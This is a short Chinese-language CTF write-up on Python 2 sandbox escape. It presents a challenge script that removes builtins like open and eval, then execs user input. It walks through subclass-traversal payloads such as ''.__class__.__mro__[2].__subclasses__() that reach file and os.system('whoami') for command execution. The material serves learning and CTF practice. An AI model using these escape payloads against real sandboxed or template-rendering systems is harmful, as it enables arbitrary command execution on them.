看了幾天的ssti注入然后了解到有python沙箱逃逸
學過ssti注入的話python沙箱逃逸還是很容易理解的。
看一道CTF題目,源碼的話我改了改,一開始不能用,直接在py2上運行就好。
題目要求讀取./key的值,我們這里來執行命令。
def make_secure():
UNSAFE = ['open',
'file',
'execfile',
'compile',
'reload',
'__import__',
'eval',
'input']
for func in UNSAFE:
del __builtins__.__dict__[func]
from re import findall
# Remove dangerous builtins
make_secure()
print 'Go Ahead, Expoit me >;D'
while True:
try:
# Read user input until the first whitespace character
inp = findall('\S+', raw_input())[0]
a = None
# Set a to the result from executing the user input
exec 'a=' + inp
print 'Return Value:', a
except Exception as e:
print 'Exception:', e
題目一開始就刪除了些危險函數,比如file等。
那刪除和沒刪除有什么區別呢?
通俗來說,就是不能直接調用了。builtins里面被刪除的函數不能被直接調用了。
那我們能不能通過別的辦法調用file呢?答案是肯定的
"".__class__.__mro__[2].__subclasses__()[40] 這段不是builtins里面的函數,是直接從object拿來調用的,所以沒問題。
很輕松的就讀到了key,可我們的目標是提權。
- 我想用os模塊,一種是從別的模塊能不能直接調用它:
<class 'site._Printer'> [71](可以直接調用os模塊)
- 另一種需要eval配合__import__導入os模塊
<class 'warnings.catch_warnings'>[59]
open,eval,file,__import__,reload(並沒有os,需要用eval配合__import__導入),可是這段需要builtins,里面的__import__被刪除了。這個辦法我想應該行不通。
所以我們先找到<class 'site._Printer'>模塊
''.__class__.__mro__[2].__subclasses__()[72] ''.__class__.__mro__[2].__subclasses__()[71] 兩個都試試,我linux和windows不一樣不知道為啥,然后 ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('whoami')完成命令執行